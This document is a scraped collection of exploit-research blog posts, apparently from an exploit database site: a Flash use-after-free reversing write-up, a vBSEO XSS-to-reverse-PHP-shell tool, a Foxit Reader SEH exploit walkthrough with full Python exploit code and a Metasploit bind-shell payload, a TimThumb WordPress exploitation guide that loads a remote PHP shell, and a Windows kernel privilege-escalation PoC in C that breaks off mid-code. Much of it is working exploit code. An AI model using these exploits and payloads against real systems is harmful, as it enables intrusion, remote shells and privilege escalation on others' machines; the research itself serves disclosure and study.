Thursday, 25 July 2013

Fuzzing vs Reversing – Round #2 (Reversing)

After a few days of fuzzing, I noticed that I covered a large part of the format (at least the part I found interesting) so I then began reverse engineering the format more thoroughly. I started by mapping out the tag-types and reviewing functions that parse them.
After I spent a few hours just poking around and getting a stable list of function names and addresses, I noticed something strange; it seems there is an undocumented tag (0×03).

I began examining the tag and noticed it has the following structure:

struct UnknownTag_0x03
{
WORD unknown0;
// The rest is unknown so far
}

Note: The reversing process has taken place under a Windows XP SP2 machine with Adobe Flash 10.0.42.34 installed while it was rebased to the address 0×02531000.

I quickly launched my flash fuzzer and added the new tag structure to the tag list so I would be able to trace the function execution and understand it faster. I generated a valid SWF file, placed a breakpoint on the function that parses the unknown tag “ParseUnknownTag0x03” at 025F4A30, and launched the debugger.

.text:025F4A30  ParseUnknownTag0x03
.text:025F4A30
.text:025F4A30      mov     eax, [esp+unknown0]
.text:025F4A34      push    ebp
.text:025F4A35      push    esi
.text:025F4A36      and     eax, 7Fh
.text:025F4A39      mov     ebp, ecx
.text:025F4A3B      mov     esi, [ebp+eax*4+2C4h]
.text:025F4A42      push    edi
.text:025F4A43      lea     edi, [ebp+eax*4+2C4h]
.text:025F4A4A      test    esi, esi
.text:025F4A4C      jz      return

While debugging this function, I noticed that EAX is being assigned the “unknown0” variable that I mapped. EAX then gets limited to 0x7F and is used as an index to an unknown array. This array is all zeros besides one element that contains a pointer to an unknown struct / class. The element is 0x7F and is as high as we can go. Even if we enter 0xFFFF as our “unknown0” value, we will still get up-to 0x7F and no more.
A quick translation of the code fragment would be:

object = this->swfObject[unknown0& 0x7F];
objectPointerOnTable = &this->swfObject[unknown0 & 0x7F];

if (object == NULL)
{
return(0);
}

I stopped debugging and modified my flash fuzzer to generate the exact same file but with the value “unknown0” set to 0x7F. This time the object was not a NULL so the function execution continued until I reached the following code fragment (as a part of a loop):

.text:025F4A60  mov     cx, word ptr [esp+10h+unknown0]
.text:025F4A65  cmp     [esi+0D0h], cx

I took a quick look at “[esi+0D0h]” and saw it contained the value 0xFFFE.
If the values do not match, the loop continues then quickly breaks and the function returns. I then modified “unknown0” to 0xFFFE and restarted the debugging process. And then I noticed that if these values do match, a call to “HeapFree” is made. I then continued execution, took a look at Internet Explorer and… boom, access violation.

UseAfterFree

Looking at these values, I quickly concluded that it is a use-after-free. The structure being accessed was replaced by an irrelevant string.
I found several ways to control the data within the structure but no code-execution. The down-side to this vulnerability is that, as you can see, the crash occurs during a read operation.
I spent awhile trying to find an arbitrary write or a virtual function table call and found an arbitrary write but was unable to automate it for situations other than in the lab. (The trigger required specific events to occur).
And this is why I left the vulnerability untouched until it got patched.

Conclusion:
Both methods of research (reverse engineering and fuzzing) are extremely useful.
Most people just choose one of the two and miss the vulnerabilities that are easy to find using the alternative method. When conducting research you should probably keep an open-mind and try both reversing and fuzzing. And even if you choose to conduct just fuzzing you should still debug every “tag” and make sure you are covering as much as you can.

Tal Zeltzer (zelik) is a security researcher from Israel, focusing on reverse engineering both software and hardware. He spends most of his free time developing private security tools and exploits for fun.


View the original article here

Read More

vbSEO – From XSS to Reverse PHP Shell

XSS is not a big deal, or is it? On many occasions, I’ve seen this vulnerability being classified as useless, not serious, and being a low threat. What I’ve always had in mind is that it’s only the capabilities of the browser, and the hackers mind which sets the limit for a XSS attack.

It may seem impossible to do anything else other than stealing sessions, cookies and performing phishing, client side defacements etc. But take a look at the picture above, that is a reverse php shell automatically injected into the site, when a vBulletin administrator viewed a malicious linkback.
The vulnerability itself I’m referring to, is a 0day within vBSEO which exists within the administrator and moderator panel only. However, the attacker is able to inject persistent scripts via this linkback feature directly into the part of these panels handling these linkbacks.

In short, the attacker crafts a malicious HTML page as shown in the advisory. Then, the attacker clicks a link to the target forum with vBSEO installed, and when the target is reached, vBSEO performs a GET-request to the attacker’s malicious HTML page (if it’s served online and if RefBacks are enabled).
The title of this page is then loaded directly into the database, and an administrator can see it sanitized in the actual thread, but also in the admin and mod panel where the title is not sanitized at all, allowing the script to run.
After discovering and researching this vulnerability, I realised it was a fine case to do further studies on and then develop a XSS worm. Fortunately I got away from that idea due to the fact it could’ve been abused globally on forums with vBSEO installed. However, the idea itself was not bad so I began developing the payload aka the javascript, which would eventually inject a PHP payload via the nice plugin feature in vBulletin.

Initially, the XSS trojan I wrote should be able to do all of this silently without the user knowing, so instead of document.write being used, appendChild which uses DOM objects, was used instead. This took a bit more work in order to function better, but the result was that the visible window would not change to the affected user getting infected with this trojan.

When the user browses to, in this case “Moderate Linkbacks”, the script is executing as soon as the user hits that page. When this happens, the trojan checks whether infection has already happened once and if not, continues. Then an iframe is created outside the visible frames, where the adminhash and securitytoken (CSRF-token) is read and saved in a local variable in the browser.
Then a new form is injected into this iframe, which contains the adminhash and the securitytoken. The form itself contains the values needed to create a new and completely valid plugin which in this case, is PHP code. At this point, the script checks again if the user has already been infected and if not, the form is submitted, the plugin is created, and a cookie is set to prevent the script from going in loops.

Most administrators, would notice the broken lock icon in case they use HTTPS / SSL, and then they would view the source. The great thing about using javascript to create HTML objects, especially with “appendChild” etc. is that it is not visible. A debugger, such as Firebug shown in the picture above is needed, unless the admin finds the malicious javascript payload and reads what it does, but then it might be too late.
During the execution of the XSS trojan, a time-out is set. When time runs out, the XSS trojan will try to delete itself leaving almost no traces, besides the possible injected plugin, and the remains of the hidden iframe outside the frames which cannot be viewed due to the way HTML works in FireFox.

If the attacker was successful, and patient as well, he would eventually see that the target website had already connected back to retrieve the title, but also that another user had triggered the XSS Trojan which hopefully injected the PHP plugin specified by the attacker.

So what’s this tool I’ve been using during my presentation of this vulnerability? It’s a recently developed tool written in Python, where the payload is written in Javascript, freely available to anyone in the bottom of this blog. I recommend however, that a user of this tool looks inside the source code.
Yes, it definitely is.
For a demonstration of the tool and this vulnerability, check either the YouTube or RapidShare link below.
References:
Advisory: vBSEO 3.5.2 & 3.2.2 – Persistent XSS via LinkBacks
Advisory #2: vbSEO Multiple Vulnerabilities
EvilWebTool: EvilWebTool
YT Video: http://www.youtube.com/watch?v=B6QAjB3kYec
HQ Video: http://rapidshare.com/files/445021103/vbseo_0day.mp4

View the original article here
Read More

Foxit
Some time ago, when Adobe Reader 0days were dropping left, right, and centre, Foxit Reader was frequently mentioned as a safer alternative to using Adobe. While it may be true that there are not as many exploits available for Foxit, that does not mean that it is invincible.

With this in mind, I decided to do some fuzzing using the Microsoft SDL MiniFuzz program. I fed the fuzzer a larger number of seed files, many of them Blackhat whitepapers, and let it run. Within a mere couple of hours, I was greeted with a few crashes, one of them resulting in a SEH overwrite.

Next up, I needed to determine what was causing the crash so I opened up the pdf in my trusty text editor.

At this point, I knew a couple of things. First, since the SEH was overwritten with 00E700E7, I knew I was dealing with a Unicode exploit and secondly, it was caused due to a failure in Foxit to properly sanitize the Title tag input. My next task at this point was to determine where exactly the overwrite was occurring in the string so I generated a random pattern of 10000 bytes using Metasploit and pasted it into the pdf file.

# ./pattern_create.rb 10000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac...

Opening up the pdf in Foxit, I saw that the SEH was overwritten with my unique pattern.

Passing the character string ‘r9As’ to the pattern_offset.rb script, I was able to determine the location of the SEH overwrite.

# ./pattern_offset.rb r9As 10000
538

At this point, I stripped out as much unnecessary data out of the pdf as I could and whipped up a quick and dirty python script to make the editing process much easier, including the nSEH and SEH overwrite.

#!/usr/bin/python
preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25\xE2\xE3\xCF\xD3\x0A\x38\x31\x20...
...\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61"

lead = "\x41" * 538
nseh = "\x42\x42"
seh = "\x43\x43"
trailer = "\x44" * 9384
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"

sploit = preamble + lead + nseh + seh + trailer
filename = "foxit_title.pdf"
evil = open(filename, 'w')
evil.write(sploit)
evil.close

Generating the evil pdf and opening it up in Foxit gave me a wonderful crash with complete control over the SEH chain.

With control over SEH out of the way, the next thing to do was to find a Unicode-friendly pop-pop-retn sequence of instructions. The main Foxit binary was not SafeSEH protected so that was where I decided to look first. A good candidate was found at 0x004D002F so I plugged that into my script. I also needed to find some Unicode characters to place in nSEH that when executed, would walk over the SEH address without causing any damage and edited my script accordingly.

...
lead = "\x41" * 538
nseh = "\x41\x6d" # Walk over SEH
seh = "\x2F\x4D"  # p/p/r from app binary
...

Loading up the new pdf in Foxit, I set a breakpoint on the SEH and passed the exception twice in order to reach my p/p/r address.

I then single-stepped through the p/p/r instructions into nSEH and then “walked” right across the SEH overwrite.

Up until this point, everything was indicating that this was going to be a nice, “vanilla” Unicode exploit. All I would need to do is add some Unicode-compatible shellcode farther down in the stack, add some bytes to EAX and be on my way. Then, I discovered the bad character set:

\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x7f\x9f\xad

Since the character \x05 is bad, that meant I would not be able to do an ADD EAX as planned. I also wasn’t too happy with the amount of space available for shellcode since Unicode shellcode takes up a lot of room. I decided to do a quick search of memory to see if my buffer was unmolested elsewhere.

Pleasantly enough, I had well over 9000 bytes of space available for shellcode and even though it was still Alpha, that left tons of room available. This situation, of course, just begs for an egghunter. Armed with all of this information, I came up with my strategy:

Generate alphanumeric bindshell shellcodePlace the egg and shellcode deeper into my bufferGenerate Unicode egghunter shellcodeAlign EAX to point to the beginning of the egghunter shellcode

The first and second steps were the easiest. I simply used Metasploit to generate some alpha_upper shellcode using EAX as the base register which I add into the exploit along with “w00tw00t” as my egg.

# /msf3/msfpayload windows/shell_bind_tcp R | /msf3/msfencode BufferRegister=EAX -e x86/alpha_upper -t c
[*] x86/alpha_upper succeeded with size 745 (iteration=1)
unsigned char buf[] =
"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
...

Next up on my list of tasks is to generate Unicode-compatible egghunter shellcode but there was one issue I had to contend with. When the egghunter successfully locates the egg, it jumps to the EDI register that is pointing to the shellcode. Since the final shellcode is Alpha, I also needed EAX to point to it in order to decode it properly so I needed to edit the egghunter to include a MOV EAX, EDI instruction prior to the jump to EDI. My new egghunter looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
OR DX,0FFF
INC EDX
PUSH EDX
PUSH 2
POP EAX
INT 2E
CMP AL,5
POP EDX
JE SHORT
MOV EAX,74303077
MOV EDI,EDX
SCAS DWORD PTR ES:[EDI]
JNZ SHORT
SCAS DWORD PTR ES:[EDI]
JNZ SHORT
MOV EAX,EDI
JMP EDI

Now I needed to take this new egghunter and encode in Unicode format. Once the shellcode had been assembled, I just needed to use skylined’s ALPHA3 encoder, using the egghunter as the input.

I added this newly-encoded shellcode to my exploit in progress and did some massaging of lengths so the code at this point looked like the following:

#!/usr/bin/python

preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25...
...x30\x37\x27\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61"

# 202 byte unicode egghunter - EAX base register
egghunter = ("PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAI"
"AJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB1V3Q7ZKOLO"
"0B0R1ZKR0X8MNNOLKU0Z2TJO6X2W00002T4KJZ6O2U9Z6O2U9W4K7WKO9WKPA")

# Bindshell - Does not need to be Unicode friendly as it is untouched in memory - 745 bytes
bindshell = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
"\x4c\x4b\x58\x4b\x39\x45\x50\x45\x50\x45\x50\x43\x50\x4c\x49"
"\x4a\x45\x46\x51\x4e\x32\x45\x34\x4c\x4b\x51\x42\x46\x50\x4c"
"\x4b\x46\x32\x44\x4c\x4c\x4b\x50\x52\x42\x34\x4c\x4b\x42\x52"
"\x47\x58\x44\x4f\x4e\x57\x50\x4a\x46\x46\x46\x51\x4b\x4f\x50"
"\x31\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x44\x42\x46\x4c"
"\x51\x30\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x4b\x52\x4a"
"\x50\x50\x52\x50\x57\x4c\x4b\x50\x52\x44\x50\x4c\x4b\x50\x42"
"\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x51\x50\x42\x58\x4b\x35\x49"
"\x50\x43\x44\x50\x4a\x43\x31\x4e\x30\x46\x30\x4c\x4b\x47\x38"
"\x45\x48\x4c\x4b\x51\x48\x47\x50\x45\x51\x4e\x33\x4d\x33\x47"
"\x4c\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x43\x31\x4e\x36\x50\x31"
"\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x43"
"\x31\x49\x57\x50\x38\x4b\x50\x44\x35\x4c\x34\x44\x43\x43\x4d"
"\x4c\x38\x47\x4b\x43\x4d\x51\x34\x42\x55\x4a\x42\x51\x48\x4c"
"\x4b\x46\x38\x47\x54\x45\x51\x48\x53\x45\x36\x4c\x4b\x44\x4c"
"\x50\x4b\x4c\x4b\x51\x48\x45\x4c\x43\x31\x49\x43\x4c\x4b\x43"
"\x34\x4c\x4b\x43\x31\x4e\x30\x4c\x49\x47\x34\x51\x34\x47\x54"
"\x51\x4b\x51\x4b\x43\x51\x50\x59\x51\x4a\x46\x31\x4b\x4f\x4b"
"\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x4a\x4b\x4d\x56"
"\x51\x4d\x43\x58\x47\x43\x47\x42\x43\x30\x43\x30\x42\x48\x44"
"\x37\x44\x33\x50\x32\x51\x4f\x51\x44\x45\x38\x50\x4c\x43\x47"
"\x47\x56\x44\x47\x4b\x4f\x48\x55\x48\x38\x4c\x50\x43\x31\x45"
"\x50\x43\x30\x51\x39\x48\x44\x50\x54\x50\x50\x42\x48\x46\x49"
"\x4d\x50\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x46"
"\x30\x46\x30\x51\x50\x50\x50\x47\x30\x50\x50\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x4b\x50\x4b\x4f\x49\x45\x4c\x49\x49\x57\x46"
"\x51\x49\x4b\x46\x33\x43\x58\x45\x52\x43\x30\x44\x51\x51\x4c"
"\x4c\x49\x4a\x46\x42\x4a\x44\x50\x50\x56\x46\x37\x45\x38\x4f"
"\x32\x49\x4b\x47\x47\x45\x37\x4b\x4f\x4e\x35\x51\x43\x46\x37"
"\x45\x38\x4f\x47\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50"
"\x53\x51\x43\x51\x47\x45\x38\x44\x34\x4a\x4c\x47\x4b\x4b\x51"
"\x4b\x4f\x48\x55\x51\x47\x4b\x39\x48\x47\x42\x48\x43\x45\x42"
"\x4e\x50\x4d\x43\x51\x4b\x4f\x49\x45\x42\x48\x43\x53\x42\x4d"
"\x42\x44\x45\x50\x4c\x49\x4d\x33\x50\x57\x50\x57\x46\x37\x50"
"\x31\x4a\x56\x42\x4a\x42\x32\x51\x49\x46\x36\x4a\x42\x4b\x4d"
"\x42\x46\x49\x57\x47\x34\x51\x34\x47\x4c\x45\x51\x43\x31\x4c"
"\x4d\x50\x44\x51\x34\x42\x30\x4f\x36\x43\x30\x47\x34\x50\x54"
"\x46\x30\x46\x36\x51\x46\x51\x46\x50\x46\x46\x36\x50\x4e\x51"
"\x46\x50\x56\x50\x53\x50\x56\x43\x58\x44\x39\x48\x4c\x47\x4f"
"\x4d\x56\x4b\x4f\x4e\x35\x4b\x39\x4b\x50\x50\x4e\x50\x56\x51"
"\x56\x4b\x4f\x46\x50\x45\x38\x45\x58\x4c\x47\x45\x4d\x45\x30"
"\x4b\x4f\x4e\x35\x4f\x4b\x4a\x50\x4e\x55\x4e\x42\x46\x36\x42"
"\x48\x49\x36\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x47\x4c"
"\x43\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4b\x50\x43\x45\x43"
"\x35\x4f\x4b\x47\x37\x44\x53\x42\x52\x42\x4f\x42\x4a\x45\x50"
"\x51\x43\x4b\x4f\x4e\x35\x44\x4a\x41\x41")

lead = "\x41" * 538
nseh = "\x41\x6d" # Walk over SEH
seh = "\x2F\x4D"  # p/p/r from app binary
filler = "\x41" * 130
egg = "w00tw00t"
trailer = "\x44" * 8507
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"

sploit = preamble + lead + nseh + seh + filler + egghunter + filler + egg + bindshell + trailer
filename = "foxit_title.pdf"
evil = open(filename, 'w')
evil.write(sploit)
evil.close

Just to be sure I hadn’t broken anything beyond repair to this point, I loaded up the pdf in Foxit and checked the debugger to make sure the Unicode egghunter was in place along with the Alpha-encoded bindshell.

The final piece of this puzzle was to adjust the EAX register so it pointed to the beginning of the Unicode-encoded egghunter shellcode while being mindful of the fact that there are a great deal of bad characters to contend with. With my sloppy binary math, this would take many instructions but one of our Offsec alumni, devilboy, came up with this short little sequence in his Foxit exploit to point EAX closer to where I needed to be.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
58          # POP EAX
6D          # Align
58          # POP EAX
6D          # Align
58          # POP EAX
6D          # Align
35 00FF0020 # XOR EAX,2000FF00
6D          # Align
35 00F00020 # XOR EAX,2000F000
6D          # Align
50          # PUSH EAX
6D          # Align
C3          # RETN
6D          # Align

Using this alignment sequence, I needed to add 104 bytes of ‘filler’ between the alignment code and the egghunter so that EAX was pointing at the first instruction in order to start decoding it.

With everything aligned properly, the only remaining step was to make sure that the egghunter properly located my bindshell shellcode so I let the egghunter shellcode decode and placed a breakpoint just before jumping to the EDI register. I let the egghunter run and (hopefully) hit the breakpoint. Once the breakpoint was hit, EAX was pointing at the Alpha shellcode along with EDI so the egg was found successfully.

With everything seemingly working correctly, it was time to run the exploit without the debugger and reap my reward.

w00t!

The finalized exploit has the following structure:

preamble | lead | nseh | seh | aligneax | filler | egghunter | filler | egg | bindshell | trailer

My completed Foxit Reader Egghunter Exploit is just one of several methods to gain code execution with this vulnerability and it was very interesting to see what the Offsec alumni came up with in their solutions. Congrats to Sud0 for being the first contestant to deliver a weaponized Foxit exploit in less than 5 hours!

Much thanks to muts for insisting I keep plugging away at this and thanks to devilboy for letting me borrow his EAX alignment sequence.

-dookie

Questions? Comments? Discuss this post in our Forum


View the original article here

Read More

WordPress TimThumb Exploitation

Exploit DatabaseWordPress is one of the worlds biggest blogging platforms and can be easily extended with vulnerable add-ons to support a variety of functions – from CMS’s to stores and pretty much anything in between. Within some web applications, themes may contain variables that refer to dynamic elements while in others, like WordPress, insecure PHP files used for caching and resizing images are surprisingly quite common.

So what’s all the fuss about? Recently, an 0day was discovered in a project called “TimThumb” which essentially, caches even remote files locally, without doing any proper sanitization. The file “timthumb.php” does however, check if to see if the target file is actually an image or not. This timthumb file is also quite often renamed to something else and is used in many themes.

The easiest way to trick TimThumb into believing a remotely stored image (that also contains evil PHP code) is an actual image, is to either craft it yourself or by using an external tool. In this case, I decided to write a small tool for the job which also has a few encoding features, payload types, and of course, options for custom images.

Using the tool is pretty straight forward and intuitive. But what are its complete features?

Feature List:

List known vulnerable themesChoose between 2 images or select your ownEnter your own code or use the Reverse PHP ShellEncode your PHP Payload, this applies only if “code” is chosenBase64 and Hexadecimal encoding is currently supportedHexadecimal output of the created file. (Can be used in paste’s, etc.)MD5 calculation of filename, that the target server will most likely use

If the src field on the target server doesn’t require Base64-encoded strings as some do, the issue is most likely because the evil domain you created isn’t readable by the web server or because it isn’t in the list of allowed domains contained within the timthumb.php file. From version to version, this appears to have changed but in version 1.32, blogger.com was a valid domain.

Q: What should the created subdomain look like?
A: blogger.com.yourdomain.tld

Simply enough, you need to test in your web browser that you can access your subdomain and of course, upload the image file which you created with TimThumbCraft. If your image is displayed when you perform the call to the timthumb.php file on the target server, you may have to press CTRL+F5 in your browser as it may be the case that the image is locally cached.

Another very important thing is that it’s very easy to change the cache directory so in some cases, the cache directory on the target may not be named “cache”. Last but not least, from version to version, strings may be prepended to the file that you forced the target server to cache locally. When I tested 1.33 in which the original researcher reported a vulnerability, it seemed like it created files without any extension. Therefore, I used 1.32 as I could confirm it was exploitable.

If you know PHP, you’re aware that you can do anything that the all-too-common malicious PHP shells can do. If you want to load a remote shell and allow_url_include is enabled within php.ini, use: include(“full url here”); and simply hit enter. As you can see in the screenshot below, I loaded a remotely stored r57 shell to demonstrate this PHP feature. Many RFI and LFI vulnerabilities are related to dynamic use of the include(); function in PHP.

Yes. The original researcher rewrote the entire script, line by line, to optimize it and make it more secure. I did a quick review of the code and fuzzed a few fields I found interesting to see if there were any obvious mistakes. None were found, so the newest version is “pretty secure”. Remember though that nothing is 100% secure.

If you want to find timthumb files on your server the right way, issue this command in a terminal: (Thanks rAWjAW for the CLI Kung Fu)

find . | grep php | xargs grep -s timthumb

Be sure that you’re in the www / document root of your web server as you may not know where any timthumb files are located and what they’re named. Hence the reason it’s a very bad idea to just search for “timthumb.php” as a lot of researchers recommended.

References:
Proof of Concept: http://www.exploit-db.com/exploits/17602/
TimThumbCraft: Download it here
Demo Video (LQ): http://www.youtube.com/watch?v=udyEOzHK08E
Demo Video (HQ): https://rapidshare.com/files/2016620847/timthumb.avi
Original Info: http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
Vulnerable Themes: http://blog.sucuri.net/2011/08/timthumb-security-vulnerability-list-of-themes-including-it.html


View the original article here

Read More

Google Hacking Database Reborn

The incredible amount of information continuously leaked onto the Internet, and therefore accessible by Google, is of great use to penetration testers around the world.  Johnny Long of Hackers for Charity started the Google Hacking Database (GHDB) to serve as a repository for search terms, called Google-Dorks, that expose sensitive information, vulnerabilities, passwords, and much more.

GHDB

As Johnny is now pursing his mission in Uganda, he has graciously allowed us at The Exploit Database to pick up where the GHDB left off and resurrect it.  It is with great excitement that we announce that the GHDB is now being hosted by us and actively maintained again.  This will allow us to tie the GHDB directly into our database of exploits providing the most current information possible.

We will be accepting new submissions through our new forums and email. For more information about sending in GHDB submissions by email, check here.  We will be updating the GHDB on a daily basis based on submissions by the community. We have opened forums for both EDB and GHDB conversation. Feel free to sign up and read the rules and guidelines here.

It is our hope that by bringing back the GHDB, we can work together to rekindle the original spirit of exploration of the GHDB community.


View the original article here

Read More

Owned and Exposed

There’s nothing like having your butt kicked Christmas morning, which is exactly what happened to us today. We were owned and exposed, in true fashion. Initially, the inj3ct0r team took “creds” for the hack, which quickly proved false as the original ezine showed up – and now inj3ct0r (their new site) is no longer online. As a wise Chinese man once said: “do not anger one who has shell on your server”. The zine also mentioned other sites, as well as the ettercap project being backdoored.

We are currently cleaning out our systems and analyzing the attacks – thankfully, the compromise was limited to non root access, and other than our egos, the damage is not severe. To the “owned and exposed” guys, we have a couple of things to say:

1) Thanks for not rm’ing us.

2) The irony of posting your zine in our “papers” section is not lost on us.

Merry Christmas to you all, and a happy new year!


View the original article here

Read More

I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.

The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.

In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.

.text:BF81BA91                 push    esi             ; Environment
.text:BF81BA92                 push    esi             ; Context
.text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
.text:BF81BA98                 push    edi             ; Path
.text:BF81BA99                 lea     eax, [ebp+DestinationString]
.text:BF81BA9C                 push    esi             ; RelativeTo
.text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
.text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
.text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
.text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
.text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
.text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
.text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
.text:BF81BACE                 mov     dword_BFA198FC, esi
.text:BF81BAD4                 mov     dword_BFA19900, esi
.text:BF81BADA                 mov     dword_BFA19904, esi
.text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
.text:BF81BAE6                 mov     [ebp+var_8], eax

Stack trace shows the calling process is as follows:

GDI32.EnableEUDC ->
NtGdiEnableEudc ->
GreEnableEUDC ->
sub_BF81B3B4 ->
sub_BF81BA0B ->
RtlQueryRegistryValues (Overflow occurs)

Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate “cmd.exe” process privilege regardless of UAC.

// Allocate buffer for the driver
LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    

BYTE* pMem;            // shellcode
DWORD ExpSize = 0;

BYTE RegBuf[0x40] = {0};    // reg binary buffer

pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pMem, Data, sizeof(Data));                // Copy shellcode

*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer

ExpSize = 0x28;

The shellcode need some kernel APIs, we need to get their addresses from the running kernel.

// Get the running kernel file name
HMODULE hDll = GetModuleHandle(L"ntdll.dll");
pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
ULONG AllocSize = 0;
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);

pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);

//Relocation to the running kernel base
DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;

free(pModInfo);

// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.

if(vi.dwBuildNumber < 7600)    
{
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

    HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
{
*(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
break;
}
}
free(pHandleInfo);
}
else
{
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
}

// Now fills the API addresses needed
